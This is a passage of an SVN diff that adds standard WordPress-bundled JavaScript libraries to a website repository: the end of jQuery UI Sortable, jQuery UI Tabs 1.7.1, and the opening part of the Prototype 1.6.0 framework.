e=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=(/(html|body)/i).test(b[0].tagName);return{top:(h.top+this.offset.relative.top*c+this.offset.parent.top*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(g?0:b.scrollTop()))*c)),left:(h.left+this.offset.relative.left*c+this.offset.parent.left*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:b.scrollLeft())*c))}},_generatePosition:function(e){var h=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,i=(/(html|body)/i).test(b[0].tagName);if(this.cssPosition=="relative"&&!(this.scrollParent[0]!=document&&this.scrollParent[0]!=this.offsetParent[0])){this.offset.relative=this._getRelativeOffset()}var d=e.pageX;var c=e.pageY;if(this.originalPosition){if(this.containment){if(e.pageX-this.offset.click.left<this.containment[0]){d=this.containment[0]+this.offset.click.left}if(e.pageY-this.offset.click.top<this.containment[1]){c=this.containment[1]+this.offset.click.top}if(e.pageX-this.offset.click.left>this.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.top<this.containment[1]||g-this.offset.click.top>this.containment[3])?g:(!(g-this.offset.click.top<this.containment[1])?g-h.grid[1]:g+h.grid[1])):g;var f=this.originalPageX+Math.round((d-this.originalPageX)/h.grid[0])*h.grid[0];d=this.containment?(!(f-this.offset.click.left<this.containment[0]||f-this.offset.click.left>this.containment[2])?f:(!(f-this.offset.click.left<this.containment[0])?f-h.grid[0]:f+h.grid[0])):f}}return{top:(c-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(i?0:b.scrollTop())))),left:(d-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():i?0:b.scrollLeft())))}},_rearrange:function(g,f,c,e){c?c[0].appendChild(this.placeholder[0]):f.item[0].parentNode.insertBefore(this.placeholder[0],(this.direction=="down"?f.item[0]:f.item[0].nextSibling));this.counter=this.counter?++this.counter:1;var d=this,b=this.counter;window.setTimeout(function(){if(b==d.counter){d.refreshPositions(!e)}},0)},_clear:function(d,e){this.reverting=false;var f=[],b=this;if(!this._noFinalSort&&this.currentItem[0].parentNode){this.placeholder.before(this.currentItem)}this._noFinalSort=null;if(this.helper[0]==this.currentItem[0]){for(var c in this._storedCSS){if(this._storedCSS[c]=="auto"||this._storedCSS[c]=="static"){this._storedCSS[c]=""}}this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else{this.currentItem.show()}if(this.fromOutside&&!e){f.push(function(g){this._trigger("receive",g,this._uiHash(this.fromOutside))})}if((this.fromOutside||this.domPosition.prev!=this.currentItem.prev().not(".ui-sortable-helper")[0]||this.domPosition.parent!=this.currentItem.parent()[0])&&!e){f.push(function(g){this._trigger("update",g,this._uiHash())})}if(!a.ui.contains(this.element[0],this.currentItem[0])){if(!e){f.push(function(g){this._trigger("remove",g,this._uiHash())})}for(var c=this.containers.length-1;c>=0;c--){if(a.ui.contains(this.containers[c].element[0],this.currentItem[0])&&!e){f.push((function(g){return function(h){g._trigger("receive",h,this._uiHash(this))}}).call(this,this.containers[c]));f.push((function(g){return function(h){g._trigger("update",h,this._uiHash(this))}}).call(this,this.containers[c]))}}}for(var c=this.containers.length-1;c>=0;c--){if(!e){f.push((function(g){return function(h){g._trigger("deactivate",h,this._uiHash(this))}}).call(this,this.containers[c]))}if(this.containers[c].containerCache.over){f.push((function(g){return function(h){g._trigger("out",h,this._uiHash(this))}}).call(this,this.containers[c]));this.containers[c].containerCache.over=0}}if(this._storedCursor){a("body").css("cursor",this._storedCursor)}if(this._storedOpacity){this.helper.css("opacity",this._storedOpacity)}if(this._storedZIndex){this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex)}this.dragging=false;if(this.cancelHelperRemoval){if(!e){this._trigger("beforeStop",d,this._uiHash());for(var c=0;c<f.length;c++){f[c].call(this,d)}this._trigger("stop",d,this._uiHash())}return false}if(!e){this._trigger("beforeStop",d,this._uiHash())}this.placeholder[0].parentNode.removeChild(this.placeholder[0]);if(this.helper[0]!=this.currentItem[0]){this.helper.remove()}this.helper=null;if(!e){for(var c=0;c<f.length;c++){f[c].call(this,d)}this._trigger("stop",d,this._uiHash())}this.fromOutside=false;return true},_trigger:function(){if(a.widget.prototype._trigger.apply(this,arguments)===false){this.cancel()}},_uiHash:function(c){var b=c||this;return{helper:b.helper,placeholder:b.placeholder||a([]),position:b.position,absolutePosition:b.positionAbs,offset:b.positionAbs,item:b.currentItem,sender:c?c.element:null}}}));a.extend(a.ui.sortable,{getter:"serialize toArray",version:"1.7.1",eventPrefix:"sort",defaults:{appendTo:"parent",axis:false,cancel:":input,option",connectWith:false,containment:false,cursor:"auto",cursorAt:false,delay:0,distance:1,dropOnEmpty:true,forcePlaceholderSize:false,forceHelperSize:false,grid:false,handle:false,helper:"original",items:"> *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1000}})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.tabs.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.tabs.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.tabs.js	(revision 44)
@@ -0,0 +1,13 @@
+/*
+ * jQuery UI Tabs 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Tabs
+ *
+ * Depends:
+ *	ui.core.js
+ */
+(function(a){a.widget("ui.tabs",{_init:function(){if(this.options.deselectable!==undefined){this.options.collapsible=this.options.deselectable}this._tabify(true)},_setData:function(b,c){if(b=="selected"){if(this.options.collapsible&&c==this.options.selected){return}this.select(c)}else{this.options[b]=c;if(b=="deselectable"){this.options.collapsible=c}this._tabify()}},_tabId:function(b){return b.title&&b.title.replace(/\s/g,"_").replace(/[^A-Za-z0-9\-_:\.]/g,"")||this.options.idPrefix+a.data(b)},_sanitizeSelector:function(b){return b.replace(/:/g,"\\:")},_cookie:function(){var b=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+a.data(this.list[0]));return a.cookie.apply(null,[b].concat(a.makeArray(arguments)))},_ui:function(c,b){return{tab:c,panel:b,index:this.anchors.index(c)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var b=a(this);b.html(b.data("label.tabs")).removeData("label.tabs")})},_tabify:function(n){this.list=this.element.children("ul:first");this.lis=a("li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return a("a",this)[0]});this.panels=a([]);var p=this,d=this.options;var c=/^#.+/;this.anchors.each(function(r,o){var q=a(o).attr("href");var s=q.split("#")[0],u;if(s&&(s===location.toString().split("#")[0]||(u=a("base")[0])&&s===u.href)){q=o.hash;o.href=q}if(c.test(q)){p.panels=p.panels.add(p._sanitizeSelector(q))}else{if(q!="#"){a.data(o,"href.tabs",q);a.data(o,"load.tabs",q.replace(/#.*$/,""));var w=p._tabId(o);o.href="#"+w;var v=a("#"+w);if(!v.length){v=a(d.panelTemplate).attr("id",w).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(p.panels[r-1]||p.list);v.data("destroy.tabs",true)}p.panels=p.panels.add(v)}else{d.disabled.push(r)}}});if(n){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all");this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(d.selected===undefined){if(location.hash){this.anchors.each(function(q,o){if(o.hash==location.hash){d.selected=q;return false}})}if(typeof d.selected!="number"&&d.cookie){d.selected=parseInt(p._cookie(),10)}if(typeof d.selected!="number"&&this.lis.filter(".ui-tabs-selected").length){d.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"))}d.selected=d.selected||0}else{if(d.selected===null){d.selected=-1}}d.selected=((d.selected>=0&&this.anchors[d.selected])||d.selected<0)?d.selected:0;d.disabled=a.unique(d.disabled.concat(a.map(this.lis.filter(".ui-state-disabled"),function(q,o){return p.lis.index(q)}))).sort();if(a.inArray(d.selected,d.disabled)!=-1){d.disabled.splice(a.inArray(d.selected,d.disabled),1)}this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active");if(d.selected>=0&&this.anchors.length){this.panels.eq(d.selected).removeClass("ui-tabs-hide");this.lis.eq(d.selected).addClass("ui-tabs-selected ui-state-active");p.element.queue("tabs",function(){p._trigger("show",null,p._ui(p.anchors[d.selected],p.panels[d.selected]))});this.load(d.selected)}a(window).bind("unload",function(){p.lis.add(p.anchors).unbind(".tabs");p.lis=p.anchors=p.panels=null})}else{d.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"))}this.element[d.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");if(d.cookie){this._cookie(d.selected,d.cookie)}for(var g=0,m;(m=this.lis[g]);g++){a(m)[a.inArray(g,d.disabled)!=-1&&!a(m).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled")}if(d.cache===false){this.anchors.removeData("cache.tabs")}this.lis.add(this.anchors).unbind(".tabs");if(d.event!="mouseover"){var f=function(o,i){if(i.is(":not(.ui-state-disabled)")){i.addClass("ui-state-"+o)}};var j=function(o,i){i.removeClass("ui-state-"+o)};this.lis.bind("mouseover.tabs",function(){f("hover",a(this))});this.lis.bind("mouseout.tabs",function(){j("hover",a(this))});this.anchors.bind("focus.tabs",function(){f("focus",a(this).closest("li"))});this.anchors.bind("blur.tabs",function(){j("focus",a(this).closest("li"))})}var b,h;if(d.fx){if(a.isArray(d.fx)){b=d.fx[0];h=d.fx[1]}else{b=h=d.fx}}function e(i,o){i.css({display:""});if(a.browser.msie&&o.opacity){i[0].style.removeAttribute("filter")}}var k=h?function(i,o){a(i).closest("li").removeClass("ui-state-default").addClass("ui-tabs-selected ui-state-active");o.hide().removeClass("ui-tabs-hide").animate(h,h.duration||"normal",function(){e(o,h);p._trigger("show",null,p._ui(i,o[0]))})}:function(i,o){a(i).closest("li").removeClass("ui-state-default").addClass("ui-tabs-selected ui-state-active");o.removeClass("ui-tabs-hide");p._trigger("show",null,p._ui(i,o[0]))};var l=b?function(o,i){i.animate(b,b.duration||"normal",function(){p.lis.removeClass("ui-tabs-selected ui-state-active").addClass("ui-state-default");i.addClass("ui-tabs-hide");e(i,b);p.element.dequeue("tabs")})}:function(o,i,q){p.lis.removeClass("ui-tabs-selected ui-state-active").addClass("ui-state-default");i.addClass("ui-tabs-hide");p.element.dequeue("tabs")};this.anchors.bind(d.event+".tabs",function(){var o=this,r=a(this).closest("li"),i=p.panels.filter(":not(.ui-tabs-hide)"),q=a(p._sanitizeSelector(this.hash));if((r.hasClass("ui-tabs-selected")&&!d.collapsible)||r.hasClass("ui-state-disabled")||r.hasClass("ui-state-processing")||p._trigger("select",null,p._ui(this,q[0]))===false){this.blur();return false}d.selected=p.anchors.index(this);p.abort();if(d.collapsible){if(r.hasClass("ui-tabs-selected")){d.selected=-1;if(d.cookie){p._cookie(d.selected,d.cookie)}p.element.queue("tabs",function(){l(o,i)}).dequeue("tabs");this.blur();return false}else{if(!i.length){if(d.cookie){p._cookie(d.selected,d.cookie)}p.element.queue("tabs",function(){k(o,q)});p.load(p.anchors.index(this));this.blur();return false}}}if(d.cookie){p._cookie(d.selected,d.cookie)}if(q.length){if(i.length){p.element.queue("tabs",function(){l(o,i)})}p.element.queue("tabs",function(){k(o,q)});p.load(p.anchors.index(this))}else{throw"jQuery UI Tabs: Mismatching fragment identifier."}if(a.browser.msie){this.blur()}});this.anchors.bind("click.tabs",function(){return false})},destroy:function(){var b=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var c=a.data(this,"href.tabs");if(c){this.href=c}var d=a(this).unbind(".tabs");a.each(["href","load","cache"],function(e,f){d.removeData(f+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){if(a.data(this,"destroy.tabs")){a(this).remove()}else{a(this).removeClass(["ui-state-default","ui-corner-top","ui-tabs-selected","ui-state-active","ui-state-hover","ui-state-focus","ui-state-disabled","ui-tabs-panel","ui-widget-content","ui-corner-bottom","ui-tabs-hide"].join(" "))}});if(b.cookie){this._cookie(null,b.cookie)}},add:function(e,d,c){if(c===undefined){c=this.anchors.length}var b=this,g=this.options,i=a(g.tabTemplate.replace(/#\{href\}/g,e).replace(/#\{label\}/g,d)),h=!e.indexOf("#")?e.replace("#",""):this._tabId(a("a",i)[0]);i.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var f=a("#"+h);if(!f.length){f=a(g.panelTemplate).attr("id",h).data("destroy.tabs",true)}f.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(c>=this.lis.length){i.appendTo(this.list);f.appendTo(this.list[0].parentNode)}else{i.insertBefore(this.lis[c]);f.insertBefore(this.panels[c])}g.disabled=a.map(g.disabled,function(k,j){return k>=c?++k:k});this._tabify();if(this.anchors.length==1){i.addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){b._trigger("show",null,b._ui(b.anchors[0],b.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[c],this.panels[c]))},remove:function(b){var d=this.options,e=this.lis.eq(b).remove(),c=this.panels.eq(b).remove();if(e.hasClass("ui-tabs-selected")&&this.anchors.length>1){this.select(b+(b+1<this.anchors.length?1:-1))}d.disabled=a.map(a.grep(d.disabled,function(g,f){return g!=b}),function(g,f){return g>=b?--g:g});this._tabify();this._trigger("remove",null,this._ui(e.find("a")[0],c[0]))},enable:function(b){var c=this.options;if(a.inArray(b,c.disabled)==-1){return}this.lis.eq(b).removeClass("ui-state-disabled");c.disabled=a.grep(c.disabled,function(e,d){return e!=b});this._trigger("enable",null,this._ui(this.anchors[b],this.panels[b]))},disable:function(c){var b=this,d=this.options;if(c!=d.selected){this.lis.eq(c).addClass("ui-state-disabled");d.disabled.push(c);d.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[c],this.panels[c]))}},select:function(b){if(typeof b=="string"){b=this.anchors.index(this.anchors.filter("[href$="+b+"]"))}else{if(b===null){b=-1}}if(b==-1&&this.options.collapsible){b=this.options.selected}this.anchors.eq(b).trigger(this.options.event+".tabs")},load:function(e){var c=this,g=this.options,b=this.anchors.eq(e)[0],d=a.data(b,"load.tabs");this.abort();if(!d||this.element.queue("tabs").length!==0&&a.data(b,"cache.tabs")){this.element.dequeue("tabs");return}this.lis.eq(e).addClass("ui-state-processing");if(g.spinner){var f=a("span",b);f.data("label.tabs",f.html()).html(g.spinner)}this.xhr=a.ajax(a.extend({},g.ajaxOptions,{url:d,success:function(i,h){a(c._sanitizeSelector(b.hash)).html(i);c._cleanup();if(g.cache){a.data(b,"cache.tabs",true)}c._trigger("load",null,c._ui(c.anchors[e],c.panels[e]));try{g.ajaxOptions.success(i,h)}catch(j){}c.element.dequeue("tabs")}}))},abort:function(){this.element.queue([]);this.panels.stop(false,true);if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup()},url:function(c,b){this.anchors.eq(c).removeData("cache.tabs").data("load.tabs",b)},length:function(){return this.anchors.length}});a.extend(a.ui.tabs,{version:"1.7.1",getter:"length",defaults:{ajaxOptions:null,cache:false,cookie:null,collapsible:false,disabled:[],event:"click",fx:null,idPrefix:"ui-tabs-",panelTemplate:"<div></div>",spinner:"<em>Loading&#8230;</em>",tabTemplate:'<li><a href="#{href}"><span>#{label}</span></a></li>'}});a.extend(a.ui.tabs.prototype,{rotation:null,rotate:function(d,f){var b=this,g=this.options;var c=b._rotate||(b._rotate=function(h){clearTimeout(b.rotation);b.rotation=setTimeout(function(){var i=g.selected;b.select(++i<b.anchors.length?i:0)},d);if(h){h.stopPropagation()}});var e=b._unrotate||(b._unrotate=!f?function(h){if(h.clientX){b.rotate(null)}}:function(h){t=g.selected;c()});if(d){this.element.bind("tabsshow",c);this.anchors.bind(g.event+".tabs",e);c()}else{clearTimeout(b.rotation);this.element.unbind("tabsshow",c);this.anchors.unbind(g.event+".tabs",e);delete this._rotate;delete this._unrotate}}})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/prototype.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/prototype.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/prototype.js	(revision 44)
@@ -0,0 +1,4184 @@
+/*  Prototype JavaScript framework, version 1.6.0
+ *  (c) 2005-2007 Sam Stephenson
+ *
+ *  Prototype is freely distributable under the terms of an MIT-style license.
+ *  For details, see the Prototype web site: http://www.prototypejs.org/
+ *
+ *--------------------------------------------------------------------------*/
+
+var Prototype = {
+  Version: '1.6.0',
+
+  Browser: {
+    IE:     !!(window.attachEvent && !window.opera),
+    Opera:  !!window.opera,
+    WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
+    Gecko:  navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1,
+    MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
+  },
+
+  BrowserFeatures: {
+    XPath: !!document.evaluate,
+    ElementExtensions: !!window.HTMLElement,
+    SpecificElementExtensions:
+      document.createElement('div').__proto__ &&
+      document.createElement('div').__proto__ !==
+        document.createElement('form').__proto__
+  },
+
+  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
+  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
+
+  emptyFunction: function() { },
+  K: function(x) { return x }
+};
+
+if (Prototype.Browser.MobileSafari)
+  Prototype.BrowserFeatures.SpecificElementExtensions = false;
+
+if (Prototype.Browser.WebKit)
+  Prototype.BrowserFeatures.XPath = false;
+
+/* Based on Alex Arnell's inheritance implementation. */
+var Class = {
+  create: function() {
+    var parent = null, properties = $A(arguments);
+    if (Object.isFunction(properties[0]))
+      parent = properties.shift();
+
+    function klass() {
+      this.initialize.apply(this, arguments);
+    }
+
+    Object.extend(klass, Class.Methods);
+    klass.superclass = parent;
+    klass.subclasses = [];
+
+    if (parent) {
+      var subclass = function() { };
+      subclass.prototype = parent.prototype;
+      klass.prototype = new subclass;
+      parent.subclasses.push(klass);
+    }
+
+    for (var i = 0; i < properties.length; i++)
+      klass.addMethods(properties[i]);
+
+    if (!klass.prototype.initialize)
+      klass.prototype.initialize = Prototype.emptyFunction;
+
+    klass.prototype.constructor = klass;
+
+    return klass;
+  }
+};
+
+Class.Methods = {
+  addMethods: function(source) {
+    var ancestor   = this.superclass && this.superclass.prototype;
+    var properties = Object.keys(source);
+
+    if (!Object.keys({ toString: true }).length)
+      properties.push("toString", "valueOf");
+
+    for (var i = 0, length = properties.length; i < length; i++) {
+      var property = properties[i], value = source[property];
+      if (ancestor && Object.isFunction(value) &&
+          value.argumentNames().first() == "$super") {
+        var method = value, value = Object.extend((function(m) {
+          return function() { return ancestor[m].apply(this, arguments) };
+        })(property).wrap(method), {
+          valueOf:  function() { return method },
+          toString: function() { return method.toString() }
+        });
+      }
+      this.prototype[property] = value;
+    }
+
+    return this;
+  }
+};
+
+var Abstract = { };
+
+Object.extend = function(destination, source) {
+  for (var property in source)
+    destination[property] = source[property];
+  return destination;
+};
+
+Object.extend(Object, {
+  inspect: function(object) {
+    try {
+      if (object === undefined) return 'undefined';
+      if (object === null) return 'null';
+      return object.inspect ? object.inspect() : object.toString();
+    } catch (e) {
+      if (e instanceof RangeError) return '...';
+      throw e;
+    }
+  },
+
+  toJSON: function(object) {
+    var type = typeof object;
+    switch (type) {
+      case 'undefined':
+      case 'function':
+      case 'unknown': return;
+      case 'boolean': return object.toString();
+    }
+
+    if (object === null) return 'null';
+    if (object.toJSON) return object.toJSON();
+    if (Object.isElement(object)) return;
+
+    var results = [];
+    for (var property in object) {
+      var value = Object.toJSON(object[property]);
+      if (value !== undefined)
+        results.push(property.toJSON() + ': ' + value);
+    }
+
+    return '{' + results.join(', ') + '}';
+  },
+
+  toQueryString: function(object) {
+    return $H(object).toQueryString();
+  },
+
+  toHTML: function(object) {
+    return object && object.toHTML ? object.toHTML() : String.interpret(object);
+  },
+
+  keys: function(object) {
+    var keys = [];
+    for (var property in object)
+      keys.push(property);
+    return keys;
+  },
+
+  values: function(object) {
+    var values = [];
+    for (var property in object)
+      values.push(object[property]);
+    return values;
+  },
+
+  clone: function(object) {
+    return Object.extend({ }, object);
+  },
+
+  isElement: function(object) {
+    return object && object.nodeType == 1;
+  },
+
+  isArray: function(object) {
+    return object && object.constructor === Array;
+  },
+
+  isHash: function(object) {
+    return object instanceof Hash;
+  },
+
+  isFunction: function(object) {
+    return typeof object == "function";
+  },
+
+  isString: function(object) {
+    return typeof object == "string";
+  },
+
+  isNumber: function(object) {
+    return typeof object == "number";
+  },
+
+  isUndefined: function(object) {
+    return typeof object == "undefined";
+  }
+});
+
+Object.extend(Function.prototype, {
+  argumentNames: function() {
+    var names = this.toString().match(/^[\s\(]*function[^(]*\((.*?)\)/)[1].split(",").invoke("strip");
+    return names.length == 1 && !names[0] ? [] : names;
+  },
+
+  bind: function() {
+    if (arguments.length < 2 && arguments[0] === undefined) return this;
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function() {
+      return __method.apply(object, args.concat($A(arguments)));
+    }
+  },
+
+  bindAsEventListener: function() {
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function(event) {
+      return __method.apply(object, [event || window.event].concat(args));
+    }
+  },
+
+  curry: function() {
+    if (!arguments.length) return this;
+    var __method = this, args = $A(arguments);
+    return function() {
+      return __method.apply(this, args.concat($A(arguments)));
+    }
+  },
+
+  delay: function() {
+    var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
+    return window.setTimeout(function() {
+      return __method.apply(__method, args);
+    }, timeout);
+  },
+
+  wrap: function(wrapper) {
+    var __method = this;
+    return function() {
+      return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
+    }
+  },
+
+  methodize: function() {
+    if (this._methodized) return this._methodized;
+    var __method = this;
+    return this._methodized = function() {
+      return __method.apply(null, [this].concat($A(arguments)));
+    };
+  }
+});
+
+Function.prototype.defer = Function.prototype.delay.curry(0.01);
+
+Date.prototype.toJSON = function() {
+  return '"' + this.getUTCFullYear() + '-' +
+    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
+    this.getUTCDate().toPaddedString(2) + 'T' +
+    this.getUTCHours().toPaddedString(2) + ':' +
+    this.getUTCMinutes().toPaddedString(2) + ':' +
+    this.getUTCSeconds().toPaddedString(2) + 'Z"';
+};
+
+var Try = {
+  these: function() {
+    var returnValue;
+
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      var lambda = arguments[i];
+      try {
+        returnValue = lambda();
+        break;
+      } catch (e) { }
+    }
+
+    return returnValue;
+  }
+};
+
+RegExp.prototype.match = RegExp.prototype.test;
+
+RegExp.escape = function(str) {
+  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
+};
+
+/*--------------------------------------------------------------------------*/
+
+var PeriodicalExecuter = Class.create({
+  initialize: function(callback, frequency) {
+    this.callback = callback;
+    this.frequency = frequency;
+    this.currentlyExecuting = false;
+
+    this.registerCallback();
+  },
+
+  registerCallback: function() {
+    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
+  },
+
+  execute: function() {
+    this.callback(this);
+  },
+
+  stop: function() {
+    if (!this.timer) return;
+    clearInterval(this.timer);
+    this.timer = null;
+  },
+
+  onTimerEvent: function() {
+    if (!this.currentlyExecuting) {
+      try {
+        this.currentlyExecuting = true;
+        this.execute();
+      } finally {
+        this.currentlyExecuting = false;
+      }
+    }
+  }
+});
+Object.extend(String, {
+  interpret: function(value) {
+    return value == null ? '' : String(value);
+  },
+  specialChar: {
+    '\b': '\\b',
+    '\t': '\\t',
+    '\n': '\\n',
+    '\f': '\\f',
+    '\r': '\\r',
+    '\\': '\\\\'
+  }
+});
+
+Object.extend(String.prototype, {
+  gsub: function(pattern, replacement) {
+    var result = '', source = this, match;
+    replacement = arguments.callee.prepareReplacement(replacement);
+
+    while (source.length > 0) {
+      if (match = source.match(pattern)) {
+        result += source.slice(0, match.index);
+        result += String.interpret(replacement(match));
+        source  = source.slice(match.index + match[0].length);
+      } else {
+        result += source, source = '';
+      }
+    }
+    return result;
+  },
+
+  sub: function(pattern, replacement, count) {
+    replacement = this.gsub.prepareReplacement(replacement);
+    count = count === undefined ? 1 : count;
+
+    return this.gsub(pattern, function(match) {
+      if (--count < 0) return match[0];
+      return replacement(match);
+    });
+  },
+
+  scan: function(pattern, iterator) {
+    this.gsub(pattern, iterator);
+    return String(this);
+  },
+
+  truncate: function(length, truncation) {
+    length = length || 30;
+    truncation = truncation === undefined ? '...' : truncation;
+    return this.length > length ?
+      this.slice(0, length - truncation.length) + truncation : String(this);
+  },
+
+  strip: function() {
+    return this.replace(/^\s+/, '').replace(/\s+$/, '');
+  },
+
+  stripTags: function() {
+    return this.replace(/<\/?[^>]+>/gi, '');
+  },
+
+  stripScripts: function() {
+    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
+  },
+
+  extractScripts: function() {
+    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
+    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
+    return (this.match(matchAll) || []).map(function(scriptTag) {
+      return (scriptTag.match(matchOne) || ['', ''])[1];
+    });
+  },
+
+  evalScripts: function() {
+    return this.extractScripts().map(function(script) { return eval(script) });
+  },
+
+  escapeHTML: function() {
+    var self = arguments.callee;
+    self.text.data = this;
+    return self.div.innerHTML;
+  },
+
+  unescapeHTML: function() {
+    var div = new Element('div');
+    div.innerHTML = this.stripTags();
+    return div.childNodes[0] ? (div.childNodes.length > 1 ?
+      $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
+      div.childNodes[0].nodeValue) : '';
+  },
+
+  toQueryParams: function(separator) {
+    var match = this.strip().match(/([^?#]*)(#.*)?$/);
+    if (!match) return { };
+
+    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
+      if ((pair = pair.split('='))[0]) {
+        var key = decodeURIComponent(pair.shift());
+        var value = pair.length > 1 ? pair.join('=') : pair[0];
+        if (value != undefined) value = decodeURIComponent(value);
+
+        if (key in hash) {
+          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
+          hash[key].push(value);
+        }
+        else hash[key] = value;
+      }
+      return hash;
+    });
+  },
+
+  toArray: function() {
+    return this.split('');
+  },
+
+  succ: function() {
+    return this.slice(0, this.length - 1) +
+      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
+  },
+
+  times: function(count) {
+    return count < 1 ? '' : new Array(count + 1).join(this);
+  },
+
+  camelize: function() {
+    var parts = this.split('-'), len = parts.length;
+    if (len == 1) return parts[0];
+
+    var camelized = this.charAt(0) == '-'
+      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
+      : parts[0];
+
+    for (var i = 1; i < len; i++)
+      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
+
+    return camelized;
+  },
+
+  capitalize: function() {
+    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
+  },
+
+  underscore: function() {
+    return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
+  },
+
+  dasherize: function() {
+    return this.gsub(/_/,'-');
+  },
+
+  inspect: function(useDoubleQuotes) {
+    var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
+      var character = String.specialChar[match[0]];
+      return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
+    });
+    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
+    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
+  },
+
+  toJSON: function() {
+    return this.inspect(true);
+  },
+
+  unfilterJSON: function(filter) {
+    return this.sub(filter || Prototype.JSONFilter, '#{1}');
+  },
+
+  isJSON: function() {
+    var str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
+    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
+  },
+
+  evalJSON: function(sanitize) {
+    var json = this.unfilterJSON();
+    try {
+      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
+    } catch (e) { }
+    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
+  },
+
+  include: function(pattern) {
+    return this.indexOf(pattern) > -1;
+  },
+
+  startsWith: function(pattern) {
+    return this.indexOf(pattern) === 0;
+  },
+
